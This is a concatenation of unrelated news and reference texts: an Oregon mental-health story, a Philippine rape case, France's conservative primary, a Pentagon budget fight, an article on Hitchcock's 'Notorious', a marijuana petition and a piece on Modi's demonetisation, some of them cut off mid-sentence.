"We tend to think about one-year budgets and single-year outcomes. We really need to start thinking about 10-, 20-, 30-year outcomes for our population," Jetmalani said. "Then we'll start making better decisions early on in the course of care provided to our population."
Justin knows firsthand how bad mental health care is in Oregon compared to other states. His brother lived in Idaho for a while after being diagnosed with schizophrenia and Justin says that was the only time he saw Jason get better.
"He was on medication and came back and was living with my dad," Justin said. "[He] was working a job and taking his medication."
When Jason came back to Oregon, the illness consumed him once again. Getting help here became harder than ever.
Justin and his parents turned to Multnomah County to have Jason forcibly committed to a mental health care facility. It was up to a judge, but despite being diagnosed with schizophrenia in Idaho, the judge in Oregon declined to have Jason committed -- ruling that Jason was "not a risk to himself or others."
Jason feels like the system failed his brother.
"I don't think it's the people directly working in the system but I think the system that's in place that they have to follow," Justin said. "I think the laws need to be changed or amended – whatever needs to happen."
"Both in emergency as well as long-term recovery for the people with mental health issues, it's critical that they have stable housing." -- State Rep. Alissa Keny-Guyer
State Representative Alissa Keny-Guyer is one of a handful of legislators fighting for change. She introduced a bill this session that would force the state to create more mental health housing facilities and centers.
"Both in emergency as well as long-term recovery for the people with mental health issues, it's critical that they have stable housing," Keny-Guyer said.
One of those centers, The Unity Center for Behavior Change, is already up and running in Portland.
"It's different than anything you've ever seen," Unity Vice President Dr. Chris Farentinos said.
Considered the first of its kind, Unity offers 24-hour mental health services, psychiatric treatment, crisis counseling, mediation management -- all completely devoted to mental illness, unlike a traditional emergency room.
"Instead of having patients in separate rooms like in a traditional medical emergency with a lot of noise and a lot of medical activity going on, what you have is a therapeutic calming milieu," Farentinos said.
Unity, the place that might have saved Jason Peterson's life, opened on February 2, just one day after Jason was arrested for sleeping in a doorway.
According to police reports, the arresting officer tried to tell Jason to leave, but Jason immediately responded with belligerence and a verbal assault. Not knowing the extent of Jason's condition, the officer was faced with a choice: Send Jason to jail or hold him at a hospital. He chose jail.
Justin thinks his brother would still be alive if he had gone to a hospital instead. He knows Jason could be uncontrollably hostile because in Jason's mind, no one, not even police or judges, could understand his struggles.
"They don't care about their family," Justin said. "Sure, a person might be like causing |
Pamela” left his unit past 1 am, conscious and not under the influence of drugs.
Video evidence
Shcks has come up with several CCTV footage showing him and Pamela arriving at the condominium lobby, kissing at the elevator, and Pamela leaving the building “happy.”
Yahoo! Southeast Asia obtained copies of the video but is refraining from posting it as it will reveal Pamela’s identity.
Was it ‘date rape’?
Pamela’s counsel, DJ Jimenez said his client was a clear victim of “date rape.”
“Binola bola siya na may ipapakita lang siya sa condo niya tapos ayaw na siya palabasin [She was deceived to go to his condominium and was prevented from going out]. This is a case of date rape… she didn’t allow him to have sex with her,” said Jimenez.
Jimenez said his client was drawn to Shcks because “he appeared to be intellectually engaging.” And although she voluntarily went on a date with him, it “is not license to have sex.”
“The bottom line is kahit asawa, ang sex hindi pwedeng pilitin [You can't even force your own spouse or else that will be rape],” Jimenez added.
“Makati court found probable cause to charge him. That already shows there is basis,” he noted, adding that Shcks' move to release the video is an “effort to discredit Pamela.”
Under Republic Act 8353, rape is punishable with reclusion perpetua or life imprisonment.PARIS (AP) — French conservatives are voting in a nationwide primary to choose their nominee for next year’s presidential election, after a campaign marked by concerns about immigration and Islamic extremism.
Seven candidates are competing Sunday in the first round of the primary. A runoff will be held between the top two vote-getters a week later.
The three leading candidates are former president Nicolas Sarkozy and former prime ministers Francois Fillon and Alain Juppe.
The candidates have been keeping a close eye on far-right candidate Marine Le Pen, whose criticism of immigration and Muslim practices resonates with many voters.
It’s the first such primary organized by France’s conservatives, making the outcome hard to predict. Candidates previously were designated internally.
Results from the first-round voting are expected late Sunday.
French conservatives were voting in a nationwide primary Sunday to choose their nominee for next year’s presidential election, after a campaign marked by concerns about immigration and Islamic extremism — and overshadowed by the rise of a populist leader emboldened by Donald Trump’s election.
Seven candidates are competing in the first round of the primary. A runoff will be held between the top two vote-getters a week later. The three leading candidates are former president Nicolas Sarkozy, 61, and former prime ministers Francois Fillon, 62, and Alain Juppe, 72.
As a new wave of populism sweeps governments in the West, the winner of the conservative primary is expected to have strong chances of winning the April-May presidential election.
The campaign has focused on a surge in immigration — a hotly debated issue throughout Europe — and security concerns following recent attacks by Islamic extremists.
The conservative candidates have been watching the political rise of far-right leader Marine Le Pen, who is hoping anti-immigrant, anti-Muslim and anti-establishment sentiment can propel her to the presidency. Le Pen, the official candidate of her National Front party, celebrated U.S. President-elect Donald Trump’s victory as a sign of hope for her campaign.
Sarkozy hopes to pull votes from people attracted to Le Pen. He has called for stricter immigration rules across Europe, and vowed to ban Muslim women from wearing headscarves at universities and possibly elsewhere. Hijabs already are banned in French schools, like all other visible signs of religion in strictly secular France.
Fillon — who has enjoyed a recent boost in popularity thanks to his image of authority and seriousness compared to Sarkozy’s more outspoken, brazen demeanor — pledges to organize a referendum on a quota system for immigrants.
In contrast, Juppe is advocating a more peaceful vision of French society, based on respect for religious freedom and ethnic diversity.
On the economic front, all candidates want to lower taxes —especially on businesses— and reduce the number of public servants. They also all agree to reverse the 35-hour workweek, a measure applied to all French employees since 2000.
This is the first time French conservatives are holding a primary, making outcomes hard to predict. Candidates previously were designated via an internal procedure.
The Socialist Party organized France’s first-ever primary in 2011, a vote won by Francois Hollande, who went on to win the French presidency the following year.
Hollande, whose popularity has plunged amid economic stagnation and extremist violence, hasn’t said whether he will seek re-election.
All French citizens over 18 — whether they are members of the conservatives’ party or not— can vote in the primary if they pay 2 euros in organization fees and sign a pledge stating they “share the republican values of the right and the center” by signing a document.
The expected number of voters in Sunday’s election varies from 2 to 4 million people, out of over 44 million citizens registered on electoral rolls. They can vote in 10,228 polling stations open from 8 a.m. to 7 p.m. across the country.
Results are expected late on Sunday.A brawl has broken out at the top rungs of the Pentagon over how to prepare the military for long-term threats, in a rare public fight that pits leaders of the military branches against Defense Secretary Ash Carter.
Carter wants to use the Pentagon’s upcoming, approximately $580 billion budget request to solidify the Obama administration’s goals of investing in more advanced weapons such as next-generation fighters and submarines, and high-demand skills such as cyber warfare.
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But he is butting heads with the Navy’s leadership and facing open skepticism from the man in line to be Army secretary, who have disagreed with their boss in recent days over key aspects of the administration’s plans. One admiral even mocked critics of a warship program that Carter is trying to scale back.
Carter is getting pushback from multiple quarters.
Navy Secretary Ray Mabus favors more spending on a small, close-to-shore warship that has faced criticism for its lack of firepower and that Carter wants to curtail. At the same time, President Barack Obama’s choice for Army secretary, Eric Fanning, expressed qualms last week about the administration’s plans to free up money for other priorities by shrinking the number of soldiers.
Fanning told the Senate Armed Services Committee that he worries about the impact of the administration’s proposal to shrink the active-duty Army by 40,000 soldiers, to 450,000. Those planned cuts are “preventing us from doing everything we want to do to the Army to … make it readier,” he said. “Two years ago when we targeted 450 [thousand], we didn’t have ISIL, we didn’t have Russia.”
The jousting over the budget has played out in public to an unusual degree. Carter, according to defense budget expert Mackenzie Eaglen, is “in a semi-open war” with the Navy’s Mabus in particular.
The resistance comes from powerful forces in the military, in the defense industry and on Capitol Hill that may see little to lose in bucking the Pentagon’s boss in the final year of the Obama administration.
Pentagon press secretary Peter Cook told POLITICO that “budgets are ultimately about choices.”
“The budget the secretary will submit invests in the kinds of advanced capabilities our warfighters deserve and our nation needs,” Cook said. He said Carter “looks forward to making the case for this budget to members of Congress and to taxpayers across the country.”
Yet Mabus and other Navy leaders used an annual military symposium this month to offer a forceful defense of the littoral combat ship, the same warship that Carter wants to pare back to allow more spending on destroyers, munitions, submarine upgrades, and the F-35 and F-18 fighter jets.
Mabus was also unabashed about his emphasis on building up the overall number of ships — in sharp contrast to Carter, who has admonished the Navy secretary for making “quantity” a higher priority than “lethality.”
The Navy’s director of surface warfare, Rear Adm. Peter Fanta, even employed a mocking tone toward the littoral combat ship’s critics, while pleading for an audience full of industry executives to help him defend the program.
“Yes, there are still naysayers,” Fanta said at the symposium. “You know what a lot of those naysayers’ problems are? ‘You didn’t write the stack of reports that was required to build this ship.’ Aww.”
Carter set off the public battle over the LCS in a memo last month. In it, he scolded Mabus for submitting an “unbalanced” initial budget plan, and ordered him to cut planned purchases of littoral combat ships from 52 to 40. “These choices will create a Navy that is far better postured to deter and defeat advanced adversaries,” Carter wrote.
The LCS, built by contractors Lockheed Martin and Austal USA, is designed to provide “presence,” allowing the Navy to patrol coastal waters all over the world, but the ship has faced criticisms for its inability to survive certain combat situations.
“I have made clear in our discussions, in my budgetary guidance, and in public remarks that our military is first and foremost a warfighting force, and while we seek to deter wars, we must also be prepared to fight and win them,” Carter wrote in his memo. “This means that overall, the Navy’s strategic future requires focusing more on posture, not only on presence, and more on new capabilities, not only ship numbers.”
The debate is a crucial legacy-maker for Carter, who has marked just under a year as Obama’s fourth defense secretary and has one shot to put a defining stamp on how the Pentagon spends hundreds of billions of dollars. In the budget request for fiscal 2017, due out Feb. 9, he will attempt to make his vision a reality — the pinnacle of a three-decade career in national security that has included stints as the Pentagon’s deputy secretary and acquisitions chief.
Carter is essentially term-limited, expected to leave his post early next year when a new president installs a new defense secretary.
“It will be very easy for the [military] services and Congress to just push these things off for a year and wait for a new team to be in place,” said Todd Harrison, director of defense budget analysis at the Center for Strategic and International Studies.
As defense budget expert Gordon Adams put it: “It’s really hard for secretaries of defense to make a difference in one year.”
“He’s making what he believes are hard choices linked to a priority, and that’s going to make friends and enemies in Washington,” added Eaglen, a military specialist at the conservative American Enterprise Institute.
The basic contours of Carter’s budget request are already known: It will seek about $583 billion for the Defense Department, including $524 billion in regular funding and an additional $59 billion in a supplemental account intended to pay for wars. These figures are in line with the two-year budget deal forged last year between Congress and the White House.
In an op-ed in Forbes, Eaglen said technologies that could get more funding include nuclear weapons modernization programs, such as the Navy’s Ohio-class replacement submarine and the Air Force’s Long Range Strike Bomber, along with artificial intelligence and other next-generation programs. These are part of what Deputy Defense Secretary Bob Work calls the “third offset” — emerging technologies designed to ensure the United States retains its edge over near-peer rivals like China and Russia.
Harrison said the disputes are really a fight between the services and Carter over “capacity” versus “capability,” with the military branches wanting to expand what they already have and Carter wanting them to prepare for the future.
The leaders of the military branches, of course, aren’t the only powerful forces standing in Carter’s way.
Congress is bent on protecting key parochial interests — namely, defense contracts back home — and is deeply divided over defense strategy. And several powerful lawmakers are already threatening to block Carter’s cuts to the Littoral Combat Ship program.
Further complicating Carter’s plans is the administration’s inability to disentangle itself from wars in the Middle East and Afghanistan, which are draining resources and focus from Carter's longer-term vision for the military.
This gives the forces of bureaucratic inertia a distinct advantage over the Pentagon chief, who likely has a little more than a year left in office: These forces can wait him out.
Said Harrison: “It is difficult to make a political argument to sacrifice something now for a benefit that may or may not pay off for 10 or 20 years.”
Jeremy Herb and Connor O’Brien contributed to this report.Notorious is a 1946 American spy film noir directed and produced by Alfred Hitchcock, starring Cary Grant, Ingrid Bergman, and Claude Rains as three people whose lives become intimately entangled during an espionage operation. It was shot in late 1945 and early 1946, and was released by RKO Radio Pictures in August 1946.
Notorious is considered by critics and scholars to mark a watershed for Hitchcock artistically, and to represent a heightened thematic maturity. His biographer, Donald Spoto, writes that "Notorious is in fact Alfred Hitchcock's first attempt—at the age of forty-six—to bring his talents to the creation of a serious love story, and its story of two men in love with Ingrid Bergman could only have been made at this stage of his life."[4]
Two scenes in the film have been widely cited as among Hitchcock's best: in one, Hitchcock starts wide and high on a second floor balcony overlooking the great hall of a grand mansion. Slowly he tracks down and in on Ingrid Bergman, finally ending with a tight close-up of a key tucked in her hand.[5] Hitchcock also devised a scene that circumvented the Production Code's ban on kisses longer than three seconds by having his actors disengage every three seconds, murmur and nuzzle each other, then start again. The two-and-a-half-minute kiss was described by biographer Paul Duncan as "perhaps his most intimate and erotic kiss".[6][7]
In 2006, Notorious was selected for preservation in the United States National Film Registry by the Library of Congress as being "culturally, historically, or aesthetically significant".
Plot [ edit ]
In April 1946, Alicia Huberman (Ingrid Bergman), the American daughter of a convicted Nazi spy, is recruited by government agent T. R. Devlin (Cary Grant) to infiltrate an organization of Nazis who have moved to Brazil after World War II. When Alicia refuses to help the police, Devlin plays recordings of her fighting with her father and insisting that she loves America.
Devlin and Alicia meet at the track, with Sebastian watching from the grandstand.
While awaiting the details of her assignment in Rio de Janeiro, Alicia and Devlin fall in love, though his feelings are complicated by his knowledge of her promiscuous past. When Devlin gets instructions to persuade her to seduce Alex Sebastian (Claude Rains), one of her father's friends and a leading member of the group, Devlin fails to convince his superiors that Alicia is not fit for the job. Devlin is also informed that Sebastian once was in love with Alicia. Devlin puts up a stoic front when he informs Alicia about the mission. Alicia concludes that he was merely pretending to love her as part of his job.
Devlin contrives to have Alicia meet Sebastian at a riding club. He recognizes her and invites her to dinner where he says that he always knew they would be reunited. Sebastian quickly invites Alicia to dinner the following night at his home, where he will host a few business acquaintances. Devlin and Captain Paul Prescott of the US Secret Service (Louis Calhern) tell Alicia to memorize the names and nationalities of everyone there. At dinner, Alicia notices that a guest becomes agitated at the sight of a certain wine bottle, and is ushered quickly from the room. When the gentlemen are alone at the end of the dinner, this guest apologizes and tries to go home, but another of the Nazi group insists on driving him (to his death).
Soon Alicia reports to Devlin, "You can add Sebastian's name to my list of playmates." When Sebastian proposes, Alicia informs Devlin; he coldly tells her to do whatever she wants. Deeply disappointed, she marries Sebastian.
Alicia takes the wine cellar key while Sebastian dresses for the party. The gown is by Edith Head
After she returns from her honeymoon, Alicia is able to tell Devlin that the key ring her husband gave her lacks the key to the wine cellar. That, and the bottle episode at the dinner, lead Devlin to urge Alicia to hold a grand party so he can investigate. Alicia secretly steals the key from Sebastian's ring, and Devlin and Alicia search the cellar. Devlin accidentally breaks a bottle; inside is black sand (later proven to be uranium ore). Devlin takes a sample, cleans up, and locks the door as Sebastian comes down for more champagne. Alicia and Devlin kiss to cover their tracks. Devlin makes an exit. Sebastian realizes that the cellar key is missing – yet overnight it is returned to his key ring. When he returns to the cellar, he finds the glass and sand from the broken bottle.
Now Sebastian has a problem: he must silence Alicia, but cannot expose her without revealing his own blunder to his fellow Nazis. When Sebastian discusses the situation with his mother (Leopoldine Konstantin), she suggests that Alicia "die slowly" by poisoning. They poison her coffee and she quickly falls ill. During a visit from Sebastian's friend Dr. Anderson, Alicia realizes both where the uranium has been mined and what is causing her sickness. (Sebastian and his mother prevent Dr. Anderson from drinking from Alicia's cup). Alicia collapses and is taken to her room, where the telephone has been removed and she is too weak to leave.
Devlin is alarmed when she fails to appear at their next rendezvous and sneaks into Alicia's quarters, where she tells him that Sebastian and his mother poisoned her. After confessing his love for her, Devlin carries her out of the mansion in full view of Sebastian's co-conspirators. Sebastian goes along with Devlin's story that Alicia must go to the hospital. Outside, Sebastian begs to go with them, knowing that the Nazis suspect the truth, but Devlin and Alicia drive away, leaving Sebastian to face his deadly fellows.
Cast [ edit ]
Cast notes [ edit ]
Biographer Patrick McGilligan writes that "Hitchcock rarely managed to pull together a dream cast for any of his 1940s films, but Notorious was a glorious exception."[8] Indeed, with a story of smuggled uranium as a backdrop, "[t]he romantic pairing of Grant and Bergman promised a box office bang comparable to an atomic blast."[9]
Not everyone saw it that way, however, most notably the project's original producer David O. Selznick. After he sold the property to RKO to raise some quick cash, Selznick lobbied hard to get Grant replaced with Joseph Cotten; the United States had just dropped atomic bombs on Japan and Selznick argued that the first film out about atomic weaponry would be the most successful—and Grant was not available for three months.[10] Selznick also believed that Grant would be difficult to manage and make high salary demands,[11] but most telling of all—Selznick owned Cotten's contract.[10] Hitchcock and RKO production executive William Dozier invoked a clause in the project sale contract, blocked Selznick's attempts, and Grant was signed to play opposite Bergman by late August 1945.[12]
Hitchcock had wanted Clifton Webb to play Alexander Sebastian.[13] Selznick pressed for Claude Rains in typical Selznick memo-heavy style: "Rains offers 'an opportunity to build the gross of Notorious enormously.... [D]o not lose a day trying to get the Rains' deal nailed down.'"[14] Whether they were thinking in Selznick's box office terms or in more artistic ones, Dozier and Hitchcock agreed, and Rains' performance transformed Sebastian into a classic Hitchcock villain: sympathetic, nuanced, in some ways as admirable as the protagonist.[13] The final major casting decision was Mme. Sebastian, Alex's mother. "The spidery, tyrannical Nazi matron demanded a stronger, older presence",[13] and when attempts to obtain Ethel Barrymore and Mildred Natwick fell through, German actor Reinhold Schünzel suggested Leopoldine Konstantin to Hitchcock and Dozier. Konstantin had been one of pre-war Germany's greatest actresses.[13] Notorious was Konstantin's only American film appearance, and "one of the unforgettable portraits in Hitchcock's films".[13]
Alfred Hitchcock's cameo appearance, a signature occurrence in his films, takes place at the party in Sebastian's mansion. At 1:04:43 (1:01:50 on European DVDs and 64:28 of the edited cut) into the film, Hitchcock is seen drinking a glass of champagne as Grant and Bergman approach. He sets his glass down and quickly departs.
Production [ edit ]
Preproduction [ edit ]
Notorious started life as a David O. Selznick production, but by the time it hit American screens in August 1946, it bore the RKO studio's logo. Alfred Hitchcock became the producer, but as on all his subsequent films, he limited his screen credits to "Directed by" and his possessive credit above the title.
Its first glimmer occurred some two years previously, in August 1944, over lunch between Hitchcock and Selznick's story editor, Margaret McDonell. Her memo to Selznick said that Hitchcock was "very anxious to do a story about confidence tricks on a grand scale [with] Ingrid Bergman [as] the woman... Her training would be as elaborate as the training of a Mata Hari."[15] Hitchcock continued his conversation a few weeks later, this time dining at Chasen's with William Dozier, an RKO studio executive, and pitching it as "the story of a woman sold for political purposes into sexual enslavement".[16] By this time, he had one of the single-word titles he preferred: Notorious.[17] The pitch was convincing: Dozier quickly entered into talks with Selznick, offering to buy the property and its personnel for production at RKO.
Dozier's interest rekindled Selznick's, which up to that point had only been tepid. Perhaps what started Hitchcock's mind rolling was "The Song of the Dragon", a short story by John Taintor Foote which had appeared as a two-part serial in the Saturday Evening Post in November 1921; Selznick, who owned the rights to it, had passed it on to Hitchcock from his unproduced story file during the filming of Spellbound.[16] Set during World War I in New York, "The Song of the Dragon" told the tale of a theatrical producer approached by federal agents, who want his assistance in recruiting an actress he once had a relationship with to seduce the leader of a gang of enemy saboteurs.[18] Although the story was a nominal starting point that "offered some inspiration, the final narrative was pure Hitchcock".[19]
Hitchcock travelled to England for Christmas 1944, and when he returned, he had an outline for Selznick's perusal.[16] The producer approved development of a script, and Hitchcock decamped for Nyack, New York for three weeks of collaboration with Ben Hecht, whom he had just worked with on Spellbound. The two would work at Hecht's house, with Hitchcock repairing at night to the St. Regis Hotel in the city. The two had an extraordinarily smooth and fruitful working partnership, partly because Hecht did not really care how much Hitchcock rewrote his work:[16]
Their story conferences were idyllic. Mr. Hecht would stride about or drape himself over chair or couch, or sprawl artistically on the floor. Mr. Hitchcock, a 192-pound Buddha (reduced from 295) would sit primly on a straight-back chair, his hands clasped across his midriff, his round button eyes gleaming. They would talk from nine to six; Mr. Hecht would sneak off with his typewriter for two or three days; then they would have another conference. The dove of peace lost not a pinfeather in the process.[20]
Hitchcock delivered his and Hecht's screenplay to Selznick in late March, but the producer was getting drawn deeper into the roiling problems of his western epic Duel in the Sun. At first he ordered story conferences at his home, typically with start times of eleven p.m.,[21] to both Hecht's and Hitchcock's profound annoyance. The two would dine at Romanoff's and "pool their defenses about what Hitchcock thought was a first class script".[21] Shortly, though, Duel's problems won out and Selznick relegated Notorious to his mental back burner.
Among the many changes to the original story was the introduction of a MacGuffin: a cache of uranium being held in Sebastian's wine cellar by the Nazis. At the time, it was not common knowledge that uranium was being used in the development of the atomic bomb, and Selznick had trouble understanding its use as a plot device. Indeed, Hitchcock later claimed he was followed by the FBI for several months after he and Hecht discussed uranium with Robert Millikan at Caltech in mid-1945.[22] In any event, the dropping of the atomic bomb on Hiroshima on August 6, 1945, and the release of details of the Manhattan Project, removed any doubts about its use.[23]
By June 1945, Notorious reached its turning point. Selznick "was losing faith in a film that never really interested him";[11] the MacGuffin still bothered him, as did the Devlin character, and he worried that audiences would dislike the Alicia character.[11] More worrisome, though, was the drain on his cash reserves imposed by the voracious Duel in the Sun. Finally, he agreed to sell the Notorious package to RKO: script, Bergman and Hitchcock.
The deal was a win-win-win situation: Selznick got $800,000 cash, plus 50% of the profits, RKO obtained a prestige production with an ascendant star and an emerging director, and Hitchcock, though he received no money, did escape from under Selznick's stifling thumb.[12] He also got to be his own producer for the first time, an important step for him: "supervising everything from the polishing of the script to the negotiation of myriad post-production details, the director could demonstrate to the industry at large his skill as an executive."[12] RKO assumed the project in mid-July 1945, and furnished office space, studio space, distribution—and freedom.
There was no getting away from Selznick completely, though. He contended that his 50% stake in the profits still entitled him to input into the project. He still dictated sheaves of memos about the script, and tried to oust Cary Grant from the cast in favor of his contractee, Joseph Cotten.[10] When the United States detonated two atomic bombs over Japan in August, the memos commenced anew and centered mainly on Selznick's continuing dissatisfaction with the script. Hitchcock was abroad,[10] so Dozier called on playwright Clifford Odets, who previously wrote None But the Lonely Heart for RKO and Grant, to do a rewrite. With Hitchcock and Selznick both busy, Barbara Keon would be his only contact.
Odets's script tried to bring more atmosphere to the story than had previously been present. "Extending the characters' emotional range, he heightened the passion of Devlin and Alicia and the aristocratic ennui of Alex Sebastian. He also added a soupçon of high culture to soften Alicia: She quotes French poetry from memory and sings Schubert."[10] But his draft did nothing for Selznick, who still thought the characters lacked dimension, that Devlin still lacked charm, and that the couple's sleeping together "may cheapen her in the eyes of the audience".[24] Ben Hecht's appraisal, handwritten in the margin, was straightforward: "This is really loose crap."[24] In the end, the Odets script was a blind alley: Hitchcock apparently used none of it.[20]
What he did have in his hand, though, was the script for "... a consummate Hitchcock film, in every sense filled with passion and textures and levels of meaning".[25]
Production [ edit ]
Principal photography for Notorious began on October 22, 1945 [25] and wrapped in February 1946.[13] Production was structured the way Hitchcock preferred it: with almost all shooting done indoors, on RKO sound stages, even seeming "exterior" scenes achieved with rear projection process shots. This gave him maximum control of his filmmaking through the day; in the evenings he exercised similar control over the nightly soirées at his Bellagio Road home.[26] The only scene requiring outdoor filming was the one at the riding club where Devlin and Alicia contrive to meet Alexander Sebastian on horseback; this scene was shot at the Los Angeles County Arboretum and Botanic Garden in Arcadia, California. Second unit crews shot establishing exteriors and rear-projection footage in Miami, Rio de Janeiro and at the Santa Anita Park racetrack.
With everything stage-bound, production was smooth and problems were few, and small—for instance, Claude Rains, who stood three or four inches shorter than Ingrid Bergman.[25] "[There's] this business of you being a midget with a wife, Miss Bergman, who is very tall", the director kidded with Rains, a good friend. For the scenes where Rains and Bergman were to walk hand-in-hand, Hitchcock devised a system of ramps that boosted Rains's height yet were unseen by the camera.[27] He also suggested Rains try elevator shoes: "Walk in them, sleep in them, be comfortable in them."[27] Rains did, and used them thereafter. Hitchcock gave Rains the choice of playing Sebastian with a German or his English accent; Rains chose the latter.
Ingrid Bergman's gowns were by Edith Head,[1] in one of her many collaborations with Hitchcock.
Stretching seconds to minutes: one long kiss broken into a string of short ones beat the ban on kisses over three seconds.
One of the signature scenes in Notorious is the two-and-a-half-minute kiss that Hitchcock interrupted every three seconds to slip the scene through the three-second-rule crack in the Production Code. "The two stars worried about how strange it felt", writes biographer McGilligan. "Walking along, nuzzling each other with the camera trailing behind them, seemed'very awkward' to the actors during filming, according to Bergman. 'Don't worry', Hitchcock assured her. 'It'll look right on the screen.'"[28]
Although the production proceeded smoothly it was not without some unusual aspects. The first was the helpfulness of Cary Grant toward Ingrid Bergman, in a way that "was remarkably calm and pointedly unusual for him".[29] Although this was Bergman's second outing with Hitchcock (the first was the just-finished Spellbound), she was nervous and insecure early on. The often moody, sometimes withdrawn[27] Grant, though, "came to Notorious full of bounce"[27] and coached her through her initial period of adjustment, rehearsing her the way Devlin rehearses Alicia.[27] This began a lifetime friendship for the two.
There were two passionate turmoils going on on-set, and both served to inform the final product: one was Hitchcock's growing infatuation with Bergman, and the other was her torturous affair with Robert Capa, the celebrity battlefield photographer.[30] As a result of this simpatico connection, and "to accomplish the deepest logic of Notorious, Hitchcock did something unprecedented in his career: he made Ingrid his closest collaborator on the picture":[30]
"The girl's look is wrong", Ingrid said to Hitchcock when, after several takes of her close-up during the dinner sequence, everyone knew something was awry. "You have her registering [surprise] too soon, Hitch. I think she would do it this way." And with that, Ingrid did the scene her way. There was not a sound on the set, for Hitchcock did not suffer actors' ideas gladly: he knew what he wanted from the start. Well before filming began, every eventuality of every scene had been planned—every camera angle, every set, costume, prop, even the sound cues had been foreseen and were in the shooting script. But in this case, an actress had a good idea, and to everyone's astonishment, he said, "I think you're right, Ingrid."[31]
When production wrapped in February 1946, Hitchcock had in the can what François Truffaut later told him "gets a maximum of effect from a minimum of elements... Of all your pictures, this is the one in which one feels the most perfect correlation between what you are aiming at and what appears on the screen... To the eye, the ensemble is as perfect as an animated cartoon..."[32]
Music [ edit ]
The music for Notorious is the least celebrated of the major Hitchcock scores, writes film scholar Jack Sullivan, one that few writers or fans talk about. "The neglect is unfortunate, for Roy Webb composed one of the most deftly designed scores of any Hitchcock film. It weaves a unique spell, one Hitchcock had not conjured before, and the hip, swingy source music is novel as well."[33]
The composer was Roy Webb, a staff composer at RKO, who had most recently scored the dark films of director Val Lewton for that studio. He wrote the fight song for Columbia University while he was there in the 1920s, then served as assistant to film composer Max Steiner until 1935; his reputation was "reliable, but unglamorous".[34] Hitchcock had tried to get Bernard Herrmann for Notorious, but Herrmann was unavailable; Webb too was a Herrmann fan: "Benny writes the best music in Hollywood, with the fewest notes", he said.[35]
Before the sale of the property to RKO, Selznick attempted, with typical Selznick gusto, to steer the course of the music.[36] He was miffed that no hit pop song had come out of his previous Hitchcock picture Spellbound, so he considered eighteen "gooey, sentimental songs"[36] like "Love Nest", "Don't Give Any More Beer to My Father" and "In A Little Love Nest Way Up on a Hill" for inclusion in Notorious. However, the sale removed Selznick as the decision-maker.[36]
Hitchcock was glad to be out from under Selznick's thumb. There would be "no sudsy violins in big love scenes, no more recycling of Selznick's favorite cues from past movies. He made sure there were no south-of-the-border cliches."[36] Selznick's exit also brought Hitchcock and Webb together into their natural sympatico. "Selznick deplored 'Hitchcock's goddamned jigsaw cutting', the dreamlike, jagged images that create his signature subjectivity. But Webb didn't mind jigsaw cutting at all. It complemented his fragmented musical architecture, just as the blocked passions of the film's characters reflect his unresolved harmonies. Like Hitchcock, Webb favored atmosphere and tonal nuance over broad gestures. Both men were classicists dealing in darkness and chaos."[35] They featured complementary personalities, too: "Webb had a modest ego, a handy trait when working for a control addict like Hitchcock."[37] Notorious was, however, their only film together.
Alicia and Devlin fall quickly in love once they arrive in Rio, and Webb uses tambourines, guitars, drums and Brazilian trumpets swinging into Brazilian dance music to provide "sensuous foreplay for the tumultuous love affair".[38] Numbers include "Carnaval no Rio", "Meu Barco", "Guanabara" and two sambas "Ya Ya Me Leva" and "Bright Samba". Yet understatement and atypical use are everywhere:
Sexy and full of danger, [the love music] is a typical Hitchcock romantic theme, though it is rarely used romantically. Even when Alicia and Devlin ascend a hill with a spectacular view and embrace during the initial courtship scenes—surely the cue for a fortissimo eruption of love music à la Spellbound—the theme sounds only for a teasing instant. For the most part, it appears at unpredictable times, in increasingly troubled harmonies, to capture the couple's shifting sexual subcurrents: Alicia's hurt and suppressed longing, Devlin's fear jealousy, and hesitation.[39]
Often, Webb and Hitchcock use no music at all to undergird a romantic scene. The two-and-a-half minute kiss begins with distant music when it commences out on the balcony, but goes silent when the couple move inside.[40] Other times, they flout conventional wisdom: when Alicia asks the band to stop playing stuffy waltzes and liven things up with Brazilian music to cover her trip to the wine cellar with Devlin, Latin dance tunes replace the expected suspense cue.[40][40]
Aspects of Hitchcockian humor are present: When Alicia first enters the Sebastian mansion, loaded with sinister Nazis, Schumann and Chopin are playing. "Wicked they may be, but these terrorists have artistic sensibilities and impeccable taste."[38]
Cinematography [ edit ]
Starting high and wide, ending low and close, a tracking shot shows both the scale of the party and the point of it—the purloined key to the wine cellar.
Roger Ebert described Notorious as having "some of the most effective camera shots in his—or anyone's—work".[41] Hitchcock played off Grant's star power in his first scene, introducing his character with shots of the back of the actor's head showing him observing Alicia carefully. The excess of her drinking is reinforced the next morning with a close-up and zoom out from a glass of fizzing aspirin beside her bed. The camera switches to her point of view and the viewer sees Grant as Devlin, backlit and upside down.[41] The film also contains a tracking shot at Sebastian's mansion in Rio de Janeiro: starting high above the entrance hall, the camera tracks all the way down to Alicia's hand, showing her nervously twisting the key there.[5][41]
Themes and motifs [ edit ]
The predominant theme in Notorious is trust—trust withheld, or given too freely.[42] T |
legalization petitions and said Wednesday it is poised to pass the 200,000-signature mark this week. The group needs 252,523 valid signatures to put its initiated legislation on the 2018 ballot but is aiming to collect 366,000 as a buffer.
Abrogate Prohibition would need to collect 315,654 valid signatures to make the ballot because it is proposing to amend the state constitution.
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Read or Share this story: http://detne.ws/2uUx00WFor those still surprised by Prime Minister Narendra Modi’s audacious demonetisation gamble, the past maybe a useful guide. In 2007, just ahead of the Gujarat assembly elections, Modi kickstarted power reforms in the state as chief minister, including a hike in rates and police action against farmers involved in power theft. When an angry RSS-backed farmers’ delegation met the chief minister, Modi’s response was reportedly defiant: “I will step down as chief minister but not back down. You can always replace me if you wish.” In the elections that followed, Modi won the day and silenced his critics.
In a sense, the 2007 power reform battle in Gujarat, much like today’s demonetisation challenge, is typical Modi: He is a leader whose self-belief, bordering on narcissism, leads him to short circuit political systems and reject sectional interests in the confidence that he has the answers to all likely pitfalls. It is both a strength and weakness: The lack of self-doubt makes him a consummate risk-taker, but also someone who can at times act impulsively without due consultation.
Read | Demonetisation is organised loot, legalised plunder, says Manmohan Singh
Is Gujarat a mini-India then, and will Modi triumph yet again? When almost the entire Opposition protests against you within and outside Parliament, there is reason to believe that demonetisation has provided fresh impetus to a potential grand anti-Modi alliance. When even your own allies, like the Shiv Sena, speak out and BJP MPs express reservations, then the disquiet has to be taken on board.
